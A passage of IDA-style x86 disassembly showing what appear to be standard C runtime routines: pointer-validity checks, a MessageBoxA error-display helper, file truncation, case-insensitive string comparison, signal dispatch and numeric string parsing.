push dword ptr [esi]
push edi
push 1
call ebx ; dword_437074
test eax, eax
jz short loc_434BF2
push edi
push [esp+18h+var_4]
call sub_435CBD
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_434BA2
loc_434BEA: ; CODE XREF: sub_434B89+11j
xor eax, eax
loc_434BEC: ; CODE XREF: sub_434B89+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_434BF2: ; CODE XREF: sub_434B89+29j
; sub_434B89+38j ...
or eax, 0FFFFFFFFh
jmp short loc_434BEC
sub_434B89 endp
; =============== S U B R O U T I N E =======================================
sub_434BF7 proc near ; CODE XREF: sub_43132B+77p
; sub_431859+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_4371AC ; IsBadReadPtr
test eax, eax
jz short loc_434C0F
xor esi, esi
loc_434C0F: ; CODE XREF: sub_434BF7+14j
mov eax, esi
pop esi
retn
sub_434BF7 endp
; =============== S U B R O U T I N E =======================================
sub_434C13 proc near ; CODE XREF: sub_431859+73p
; sub_431859+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_437158 ; IsBadWritePtr
test eax, eax
jz short loc_434C2B
xor esi, esi
loc_434C2B: ; CODE XREF: sub_434C13+14j
mov eax, esi
pop esi
retn
sub_434C13 endp
; =============== S U B R O U T I N E =======================================
sub_434C2F proc near ; CODE XREF: sub_431859+15Bp
; sub_431FD0+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_4371A8 ; IsBadCodePtr
test eax, eax
jz short loc_434C43
xor esi, esi
loc_434C43: ; CODE XREF: sub_434C2F+10j
mov eax, esi
pop esi
retn
sub_434C2F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_431AFC
loc_434C47: ; CODE XREF: sub_431AFC:loc_431B58j
push 0Ah
call sub_432FD0
push 16h
call sub_434F51
pop ecx
pop ecx
push 3
call sub_430A75
; END OF FUNCTION CHUNK FOR sub_431AFC
; =============== S U B R O U T I N E =======================================
sub_434C5E proc near ; CODE XREF: sub_432B07+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_434C6F
add esp, 0Ch
retn
sub_434C5E endp
; =============== S U B R O U T I N E =======================================
sub_434C6F proc near ; CODE XREF: sub_434C5E+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_676DA1[eax], cl
jnz short loc_434C9C
cmp [esp+arg_4], 0
jz short loc_434C95
movzx eax, word_4533A2[eax*2]
and eax, [esp+arg_4]
jmp short loc_434C97
; ---------------------------------------------------------------------------
loc_434C95: ; CODE XREF: sub_434C6F+16j
xor eax, eax
loc_434C97: ; CODE XREF: sub_434C6F+24j
test eax, eax
jnz short loc_434C9C
retn
; ---------------------------------------------------------------------------
loc_434C9C: ; CODE XREF: sub_434C6F+Fj
; sub_434C6F+2Aj
push 1
pop eax
retn
sub_434C6F endp
; =============== S U B R O U T I N E =======================================
sub_434CA0 proc near ; CODE XREF: sub_432FD0+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_676C38, ebx
push esi
push edi
jnz short loc_434CEF
push offset aUser32_dll ; "user32.dll"
call dword_437034 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_434D25
mov esi, dword_437030
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; dword_437030
test eax, eax
mov dword_676C38, eax
jz short loc_434D25
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; dword_437030
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_676C3C, eax
call esi ; dword_437030
mov dword_676C40, eax
loc_434CEF: ; CODE XREF: sub_434CA0+Bj
mov eax, dword_676C3C
test eax, eax
jz short loc_434D0E
call eax ; dword_676C3C
mov ebx, eax
test ebx, ebx
jz short loc_434D0E
mov eax, dword_676C40
test eax, eax
jz short loc_434D0E
push ebx
call eax ; dword_676C40
mov ebx, eax
loc_434D0E: ; CODE XREF: sub_434CA0+56j
; sub_434CA0+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_676C38 ; MessageBoxA
loc_434D21: ; CODE XREF: sub_434CA0+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_434D25: ; CODE XREF: sub_434CA0+1Cj
; sub_434CA0+33j
xor eax, eax
jmp short loc_434D21
sub_434CA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434D29 proc near ; CODE XREF: sub_4335E9+28Ap
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1004h
call sub_429A90
push ebx
push esi
xor esi, esi
push 1
push esi
push [ebp+arg_0]
call sub_42F84D
or ebx, 0FFFFFFFFh
add esp, 0Ch
cmp eax, ebx
mov [ebp+var_4], eax
jz loc_434E48
push 2
push esi
push [ebp+arg_0]
call sub_42F84D
add esp, 0Ch
cmp eax, ebx
jz loc_434E48
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_434DEB
mov ebx, 1000h
lea eax, [ebp+var_1004]
push ebx
push esi
push eax
call sub_429690
push 8000h
push [ebp+arg_0]
call sub_435F03
add esp, 14h
mov [ebp+arg_4], eax
loc_434D9C: ; CODE XREF: sub_434D29+99j
cmp edi, ebx
mov eax, ebx
jge short loc_434DA4
mov eax, edi
loc_434DA4: ; CODE XREF: sub_434D29+77j
push eax
lea eax, [ebp+var_1004]
push eax
push [ebp+arg_0]
call sub_432431
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_434DC4
sub edi, eax
test edi, edi
jle short loc_434DDC
jmp short loc_434D9C
; ---------------------------------------------------------------------------
loc_434DC4: ; CODE XREF: sub_434D29+91j
call sub_42F052
cmp dword ptr [eax], 5
jnz short loc_434DD9
call sub_42F049
mov dword ptr [eax], 0Dh
loc_434DD9: ; CODE XREF: sub_434D29+A3j
or esi, 0FFFFFFFFh
loc_434DDC: ; CODE XREF: sub_434D29+97j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_435F03
pop ecx
pop ecx
jmp short loc_434E33
; ---------------------------------------------------------------------------
loc_434DEB: ; CODE XREF: sub_434D29+4Bj
jge short loc_434E33
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42F84D
push [ebp+arg_0]
call sub_432309
add esp, 10h
push eax
call dword_4371A4 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jnz short loc_434E33
call sub_42F049
mov dword ptr [eax], 0Dh
call dword_43716C ; RtlGetLastWin32Error
mov edi, eax
call sub_42F052
mov [eax], edi
loc_434E33: ; CODE XREF: sub_434D29+C0j
; sub_434D29:loc_434DEBj ...
push 0
push [ebp+var_4]
push [ebp+arg_0]
call sub_42F84D
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_434E4A
; ---------------------------------------------------------------------------
loc_434E48: ; CODE XREF: sub_434D29+27j
; sub_434D29+3Dj
mov eax, ebx
loc_434E4A: ; CODE XREF: sub_434D29+11Dj
pop esi
pop ebx
leave
retn
sub_434D29 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+10h]
or ecx, ecx
jz loc_434F4A
mov esi, [ebp+8]
mov edi, [ebp+0Ch]
lea eax, dword_676980
cmp dword ptr [eax+8], 0
jnz short loc_434EC1
mov bh, 41h
mov bl, 5Ah
mov dh, 20h
lea ecx, [ecx+0]
loc_434E7C: ; CODE XREF: ?9:00434EA3j
mov ah, [esi]
or ah, ah
mov al, [edi]
jz short loc_434EA5
or al, al
jz short loc_434EA5
inc esi
inc edi
cmp ah, bh
jb short loc_434E94
cmp ah, bl
ja short loc_434E94
add ah, dh
loc_434E94: ; CODE XREF: ?9:00434E8Cj ?9:00434E90j
cmp al, bh
jb short loc_434E9E
cmp al, bl
ja short loc_434E9E
add al, dh
loc_434E9E: ; CODE XREF: ?9:00434E96j ?9:00434E9Aj
cmp ah, al
jnz short loc_434EAF
dec ecx
jnz short loc_434E7C
loc_434EA5: ; CODE XREF: ?9:00434E82j ?9:00434E86j
xor ecx, ecx
cmp ah, al
jz loc_434F4A
loc_434EAF: ; CODE XREF: ?9:00434EA0j
mov ecx, 0FFFFFFFFh
jb loc_434F4A
neg ecx
jmp loc_434F4A
; ---------------------------------------------------------------------------
loc_434EC1: ; CODE XREF: ?9:00434E71j
lock inc dword_676EBC
cmp dword_676EB8, 0
jg short loc_434ED5
push 0
jmp short loc_434EEE
; ---------------------------------------------------------------------------
loc_434ED5: ; CODE XREF: ?9:00434ECFj
lock dec dword_676EBC
mov ebx, ecx
push 13h
call sub_42DA1F
mov dword ptr [esp], 1
mov ecx, ebx
loc_434EEE: ; CODE XREF: ?9:00434ED3j
xor eax, eax
xor ebx, ebx
mov edi, edi
loc_434EF4: ; CODE XREF: ?9:00434F1Dj
mov al, [esi]
or eax, eax
mov bl, [edi]
jz short loc_434F1F
or ebx, ebx
jz short loc_434F1F
inc esi
inc edi
push ecx
push eax
push ebx
call sub_4304CD
mov ebx, eax
add esp, 4
call sub_4304CD
add esp, 4
pop ecx
cmp eax, ebx
jnz short loc_434F25
dec ecx
jnz short loc_434EF4
loc_434F1F: ; CODE XREF: ?9:00434EFAj ?9:00434EFEj
xor ecx, ecx
cmp eax, ebx
jz short loc_434F2E
loc_434F25: ; CODE XREF: ?9:00434F1Aj
mov ecx, 0FFFFFFFFh
jb short loc_434F2E
neg ecx
loc_434F2E: ; CODE XREF: ?9:00434F23j ?9:00434F2Aj
pop eax
or eax, eax
jnz short loc_434F3C
lock dec dword_676EBC
jmp short loc_434F4A
; ---------------------------------------------------------------------------
loc_434F3C: ; CODE XREF: ?9:00434F31j
mov ebx, ecx
push 13h
call sub_42DA80
add esp, 4
mov ecx, ebx
loc_434F4A: ; CODE XREF: ?9:00434E5Bj ?9:00434EA9j ...
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_434F51 proc near ; CODE XREF: sub_431AFC+3154p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
and [ebp+var_4], 0
dec eax
push ebx
push esi
dec eax
push edi
jz short loc_434FCC
dec eax
dec eax
jz short loc_434FAF
sub eax, 4
jz short loc_434FAF
sub eax, 3
jz short loc_434FAF
sub eax, 4
jz short loc_434FA2
sub eax, 6
jz short loc_434F95
dec eax
jz short loc_434F88
or eax, 0FFFFFFFFh
jmp loc_4350CE
; ---------------------------------------------------------------------------
loc_434F88: ; CODE XREF: sub_434F51+2Dj
mov ebx, dword_676C60
mov edi, offset dword_676C60
jmp short loc_434FD7
; ---------------------------------------------------------------------------
loc_434F95: ; CODE XREF: sub_434F51+2Aj
mov ebx, dword_676C5C
mov edi, offset dword_676C5C
jmp short loc_434FD7
; ---------------------------------------------------------------------------
loc_434FA2: ; CODE XREF: sub_434F51+25j
mov ebx, dword_676C64
mov edi, offset dword_676C64
jmp short loc_434FD7
; ---------------------------------------------------------------------------
loc_434FAF: ; CODE XREF: sub_434F51+16j
; sub_434F51+1Bj ...
call sub_42E41E
mov esi, eax
push dword ptr [esi+50h]
push [ebp+arg_0]
call sub_4350D3
mov edi, eax
pop ecx
add edi, 8
pop ecx
mov ebx, [edi]
jmp short loc_434FE9
; ---------------------------------------------------------------------------
loc_434FCC: ; CODE XREF: sub_434F51+12j
mov ebx, dword_676C58
mov edi, offset dword_676C58
loc_434FD7: ; CODE XREF: sub_434F51+42j
; sub_434F51+4Fj ...
push 1
mov [ebp+var_4], 1
call sub_42DA1F
mov esi, [ebp+arg_0]
pop ecx
loc_434FE9: ; CODE XREF: sub_434F51+79j
cmp ebx, 1
jnz short loc_435004
cmp [ebp+var_4], 0
jz loc_4350CC
push ebx
call sub_42DA80
pop ecx
jmp loc_4350CC
; ---------------------------------------------------------------------------
loc_435004: ; CODE XREF: sub_434F51+9Bj
xor ecx, ecx
cmp ebx, ecx
jnz short loc_43501E
cmp [ebp+var_4], ecx
jz short loc_435017
push 1
call sub_42DA80
pop ecx
loc_435017: ; CODE XREF: sub_434F51+BCj
push 3
call sub_430A75
loc_43501E: ; CODE XREF: sub_434F51+B7j
mov eax, [ebp+arg_0]
cmp eax, 8
jz short loc_435030
cmp eax, 0Bh
jz short loc_435030
cmp eax, 4
jnz short loc_43504B
loc_435030: ; CODE XREF: sub_434F51+D3j
; sub_434F51+D8j
mov edx, [esi+54h]
cmp eax, 8
mov [ebp+var_8], edx
mov [esi+54h], ecx
jnz short loc_435087
mov edx, [esi+58h]
mov dword ptr [esi+58h], 8Ch
loc_435048: ; DATA XREF: ?9:0043DA68o
mov [ebp+var_C], edx
loc_43504B: ; CODE XREF: sub_434F51+DDj
cmp eax, 8
jnz short loc_435087
mov ecx, dword_453890
mov eax, dword_453894
add eax, ecx
cmp ecx, eax
jge short loc_435089
lea eax, [ecx+ecx*2]
shl eax, 2
loc_435067: ; CODE XREF: sub_434F51+132j
mov edx, [esi+50h]
add eax, 0Ch
and dword ptr [edx+eax-4], 0
mov edx, dword_453890
mov edi, dword_453894
inc ecx
add edi, edx
cmp ecx, edi
jl short loc_435067
jmp short loc_435089
; ---------------------------------------------------------------------------
loc_435087: ; CODE XREF: sub_434F51+EBj
; sub_434F51+FDj
mov [edi], ecx
loc_435089: ; CODE XREF: sub_434F51+10Ej
; sub_434F51+134j
cmp [ebp+var_4], 0
jz short loc_435097
push 1
call sub_42DA80
pop ecx
loc_435097: ; CODE XREF: sub_434F51+13Cj
cmp [ebp+arg_0], 8
jnz short loc_4350A8
push dword ptr [esi+58h]
push 8
call ebx
pop ecx
pop ecx
jmp short loc_4350BA
; ---------------------------------------------------------------------------
loc_4350A8: ; CODE XREF: sub_434F51+14Aj
push [ebp+arg_0]
call ebx
cmp [ebp+arg_0], 0Bh
pop ecx
jz short loc_4350BA
cmp [ebp+arg_0], 4
jnz short loc_4350CC
loc_4350BA: ; CODE XREF: sub_434F51+155j
; sub_434F51+161j
mov eax, [ebp+var_8]
cmp [ebp+arg_0], 8
mov [esi+54h], eax
jnz short loc_4350CC
mov eax, [ebp+var_C]
mov [esi+58h], eax
loc_4350CC: ; CODE XREF: sub_434F51+A1j
; sub_434F51+AEj ...
xor eax, eax
loc_4350CE: ; CODE XREF: sub_434F51+32j
pop edi
pop esi
pop ebx
leave
retn
sub_434F51 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4350D3 proc near ; CODE XREF: sub_434F51+6Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov ecx, dword_45389C
push esi
mov esi, [esp+4+arg_0]
cmp [edx+4], esi
push edi
mov eax, edx
jz short loc_4350FC
lea edi, [ecx+ecx*2]
lea edi, [edx+edi*4]
loc_4350F0: ; CODE XREF: sub_4350D3+27j
add eax, 0Ch
cmp eax, edi
jnb short loc_4350FC
cmp [eax+4], esi
jnz short loc_4350F0
loc_4350FC: ; CODE XREF: sub_4350D3+15j
; sub_4350D3+22j
lea ecx, [ecx+ecx*2]
lea ecx, [edx+ecx*4]
cmp eax, ecx
jnb short loc_43510B
cmp [eax+4], esi
jz short loc_43510D
loc_43510B: ; CODE XREF: sub_4350D3+31j
xor eax, eax
loc_43510D: ; CODE XREF: sub_4350D3+36j
pop edi
pop esi
retn
sub_4350D3 endp
; =============== S U B R O U T I N E =======================================
sub_435110 proc near ; CODE XREF: sub_4340A9+2Bp
; sub_4340A9+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_435126
cmp ecx, esi
jnb short loc_435129
loc_435126: ; CODE XREF: sub_435110+10j
push 1
pop eax
loc_435129: ; CODE XREF: sub_435110+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_435110 endp
; =============== S U B R O U T I N E =======================================
sub_435131 proc near ; CODE XREF: sub_4351EA+40p
; sub_4351EA+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_435110
add esp, 0Ch
test eax, eax
jz short loc_435163
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_435110
add esp, 0Ch
test eax, eax
jz short loc_435163
inc dword ptr [esi+8]
loc_435163: ; CODE XREF: sub_435131+19j
; sub_435131+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_435110
add esp, 0Ch
test eax, eax
jz short loc_43517B
inc dword ptr [esi+8]
loc_43517B: ; CODE XREF: sub_435131+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_435110
add esp, 0Ch
pop edi
pop esi
retn
sub_435131 endp
; =============== S U B R O U T I N E =======================================
sub_43518F proc near ; CODE XREF: sub_4351EA+30p
; sub_4351EA+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_43518F endp
; =============== S U B R O U T I N E =======================================
sub_4351BD proc near ; CODE XREF: sub_435782+1C8p
; sub_435F64+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4351BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4351EA proc near ; CODE XREF: sub_4352B1+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_43525E
push edi
mov [ebp+arg_8], eax
loc_435211: ; CODE XREF: sub_4351EA+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_43518F
push ebx
call sub_43518F
lea eax, [ebp+var_10]
push eax
push ebx
call sub_435131
push ebx
call sub_43518F
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_435131
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_435211
xor edx, edx
pop edi
loc_43525E: ; CODE XREF: sub_4351EA+21j
; sub_4351EA+9Fj
cmp [ebx+8], edx
jnz short loc_43528B
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_43525E
; ---------------------------------------------------------------------------
loc_43528B: ; CODE XREF: sub_4351EA+77j
mov esi, 8000h
loc_435290: ; CODE XREF: sub_4351EA+B9j
test [ebx+8], esi
jnz short loc_4352A5
push ebx
call sub_43518F
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_435290
; ---------------------------------------------------------------------------
loc_4352A5: ; CODE XREF: sub_4351EA+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_4351EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4352B1 proc near ; CODE XREF: sub_4343F2+17p
; sub_43441F+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_4352EC: ; CODE XREF: sub_4352B1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_435302
cmp cl, 9
jz short loc_435302
cmp cl, 0Ah
jz short loc_435302
cmp cl, 0Dh
jnz short loc_435305
loc_435302: ; CODE XREF: sub_4352B1+40j
; sub_4352B1+45j ...
inc edi
jmp short loc_4352EC
; ---------------------------------------------------------------------------
loc_435305: ; CODE XREF: sub_4352B1+4Fj
push 4
pop esi
loc_435308: ; CODE XREF: sub_4352B1+AEj
; sub_4352B1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_43558B ; default
; jumptable 00435314 case 10
jmp off_435752[eax*4] ; switch jump
loc_43531B: ; DATA XREF: ?9:off_435752o
cmp bl, 31h ; jumptable 00435314 case 0
jl short loc_43532C
cmp bl, 39h
jg short loc_43532C
loc_435325: ; CODE XREF: sub_4352B1+C4j
; sub_4352B1+118j
push 3
jmp loc_435549
; ---------------------------------------------------------------------------
loc_43532C: ; CODE XREF: sub_4352B1+6Dj
; sub_4352B1+72j
cmp bl, byte_4535A8
jnz short loc_43533B
loc_435334: ; CODE XREF: sub_4352B1+124j
push 5
jmp loc_435581
; ---------------------------------------------------------------------------
loc_43533B: ; CODE XREF: sub_4352B1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_435361
dec eax
dec eax
jz short loc_435355
sub eax, 3
jnz loc_435624
jmp loc_4353E4
; ---------------------------------------------------------------------------
loc_435355: ; CODE XREF: sub_4352B1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_435308
; ---------------------------------------------------------------------------
loc_435361: ; CODE XREF: sub_4352B1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_435308
; ---------------------------------------------------------------------------
loc_43536A: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp bl, 31h ; jumptable 00435314 case 1
mov [ebp+var_10], edx
jl short loc_435377
cmp bl, 39h
jle short loc_435325
loc_435377: ; CODE XREF: sub_4352B1+BFj
cmp bl, byte_4535A8
jz loc_43543F
cmp bl, 2Bh
jz short loc_4353B9
cmp bl, 2Dh
jz short loc_4353B9
cmp bl, 30h
jz short loc_4353E4
loc_435392: ; CODE XREF: sub_4352B1+207j
cmp bl, 43h
jle loc_435624
cmp bl, 45h
jle short loc_4353B2
cmp bl, 63h
jle loc_435624
cmp bl, 65h
jg loc_435624
loc_4353B2: ; CODE XREF: sub_4352B1+EDj
push 6
jmp loc_435581
; ---------------------------------------------------------------------------
loc_4353B9: ; CODE XREF: sub_4352B1+D5j
; sub_4352B1+DAj ...
dec edi
push 0Bh
jmp loc_435581
; ---------------------------------------------------------------------------
loc_4353C1: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp bl, 31h ; jumptable 00435314 case 2
jl short loc_4353CF
cmp bl, 39h
jle loc_435325
loc_4353CF: ; CODE XREF: sub_4352B1+113j
cmp bl, byte_4535A8
jz loc_435334
cmp bl, 30h
jnz loc_435599
loc_4353E4: ; CODE XREF: sub_4352B1+9Fj
; sub_4352B1+DFj
mov eax, edx
jmp loc_435308
; ---------------------------------------------------------------------------
loc_4353EB: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
mov [ebp+var_10], edx ; jumptable 00435314 case 3
loc_4353EE: ; CODE XREF: sub_4352B1+184j
cmp dword_4535A4, edx
jle short loc_435407
movzx eax, bl
push esi
push eax
call sub_42F05B
pop ecx
pop ecx
push 1
pop edx
jmp short loc_435415
; ---------------------------------------------------------------------------
loc_435407: ; CODE XREF: sub_4352B1+143j
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_435415: ; CODE XREF: sub_4352B1+154j
test eax, eax
jz short loc_435437
cmp [ebp+var_4], 19h
jnb short loc_43542F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_435432
; ---------------------------------------------------------------------------
loc_43542F: ; CODE XREF: sub_4352B1+16Cj
inc [ebp+var_8]
loc_435432: ; CODE XREF: sub_4352B1+17Cj
mov bl, [edi]
inc edi
jmp short loc_4353EE
; ---------------------------------------------------------------------------
loc_435437: ; CODE XREF: sub_4352B1+166j
cmp bl, byte_4535A8
jnz short loc_4354A6
loc_43543F: ; CODE XREF: sub_4352B1+CCj
mov eax, esi
jmp loc_435308
; ---------------------------------------------------------------------------
loc_435446: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp [ebp+var_4], 0 ; jumptable 00435314 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_43545F
loc_435452: ; CODE XREF: sub_4352B1+1ACj
cmp bl, 30h
jnz short loc_43545F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_435452
; ---------------------------------------------------------------------------
loc_43545F: ; CODE XREF: sub_4352B1+19Fj
; sub_4352B1+1A4j ...
cmp dword_4535A4, edx
jle short loc_435478
movzx eax, bl
push esi
push eax
call sub_42F05B
pop ecx
pop ecx
push 1
pop edx
jmp short loc_435486
; ---------------------------------------------------------------------------
loc_435478: ; CODE XREF: sub_4352B1+1B4j
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_435486: ; CODE XREF: sub_4352B1+1C5j
test eax, eax
jz short loc_4354A6
cmp [ebp+var_4], 19h
jnb short loc_4354A1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4354A1: ; CODE XREF: sub_4352B1+1DDj
mov bl, [edi]
inc edi
jmp short loc_43545F
; ---------------------------------------------------------------------------
loc_4354A6: ; CODE XREF: sub_4352B1+18Cj
; sub_4352B1+1D7j
cmp bl, 2Bh
jz loc_4353B9
cmp bl, 2Dh
jz loc_4353B9
jmp loc_435392
; ---------------------------------------------------------------------------
loc_4354BD: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
cmp dword_4535A4, edx ; jumptable 00435314 case 5
mov [ebp+var_24], edx
jle short loc_4354D9
movzx eax, bl
push esi
push eax
call sub_42F05B
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4354E7
; ---------------------------------------------------------------------------
loc_4354D9: ; CODE XREF: sub_4352B1+215j
mov ecx, off_453398
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4354E7: ; CODE XREF: sub_4352B1+226j
test eax, eax
jz loc_435599
mov eax, esi
jmp short loc_43554A
; ---------------------------------------------------------------------------
loc_4354F3: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
lea ecx, [edi-2] ; jumptable 00435314 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_435503
cmp bl, 39h
jle short loc_435547
loc_435503: ; CODE XREF: sub_4352B1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_43557F
dec eax
dec eax
jz short loc_435573
sub eax, 3
jnz loc_435627
loc_435518: ; CODE XREF: sub_4352B1+2A4j
push 8
jmp short loc_435581
; ---------------------------------------------------------------------------
loc_43551C: ; CODE XREF: sub_4352B1+63j
; DATA XREF: ?9:off_435752o
mov [ebp+var_20], edx ; jumptable 00435314 case 8
loc_43551F: ; CODE XREF: sub_4352B1+276j
cmp bl, 30h
jnz short loc_435529
mov bl, [edi]
inc edi
jmp short loc_43551F
; ---------------------------------------------------------------------------
